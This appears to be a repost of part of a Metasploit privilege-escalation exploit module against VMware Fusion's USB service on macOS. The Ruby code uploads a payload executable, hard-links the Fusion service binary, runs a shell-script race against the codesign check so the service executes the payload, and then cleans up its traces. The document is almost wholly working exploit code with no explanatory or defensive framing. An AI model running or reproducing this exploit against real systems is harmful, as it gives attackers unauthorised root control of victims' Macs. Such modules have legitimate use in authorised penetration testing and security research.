UNDERCODE COMMUNITY

def pre_11_5_3
# Upload payload executable & chmod
payload_filename = "#{base_dir}#{usb_service}"
print_status "Uploading Payload: #{payload_filename}"
write_file payload_filename, generate_payload_exe
chmod payload_filename, 0o755
register_file_for_cleanup payload_filename

# create folder structure and hard link to the original binary
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
cmd_exec "mkdir -p #{link_folder}"
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
print_status "Created folder (#{link_folder}) and link"

print_status 'Starting USB Service (5 sec pause)'
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
Rex.sleep 5 # give time for the service to execute our payload
print_status 'Killing service'
cmd_exec "pkill '#{open_usb_service}'"
print_status "Deleting #{root_link_folder}"
rm_rf root_link_folder
end

def exactly_11_5_3
# Upload payload executable & chmod
payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
print_status "Uploading Payload to #{payload_name}"
write_file payload_name, generate_payload_exe
chmod payload_name, 0o755
#create race with codesign check
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
print_status 'Uploading race condition executable.'
race = <<~EOF
#!/bin/sh
while [ "1" = "1" ]; do
ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
done
EOF
racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx racer_name, race
register_file_for_cleanup racer_name
register_dirs_for_cleanup root_link_folder
# create the hard link
print_status "Creating folder (#{link_folder}) and link"
cmd_exec "mkdir -p #{link_folder}"
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"

# create the launcher to start the racer and keep launching our service to attempt to win
launcher = <<~EOF
#!/bin/sh
#{racer_name} &
for i in {1..#{datastore['MAXATTEMPTS']}}
do
echo "attempt $i";
'#{link_folder}#{open_usb_service}'
done
EOF
runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx runner_name, launcher
register_file_for_cleanup runner_name

print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
results = cmd_exec "#{runner_name} & :"
Rex.sleep 15 # give time for the service to execute our payload
vprint_status results

print_status 'Exploit Finished, killing scripts.'
kill_process racer_name
kill_process runner_name # in theory should be killed already but just in case
kill_process "'#{link_folder}#{open_usb_service}'"
# kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
# above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
# rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
end

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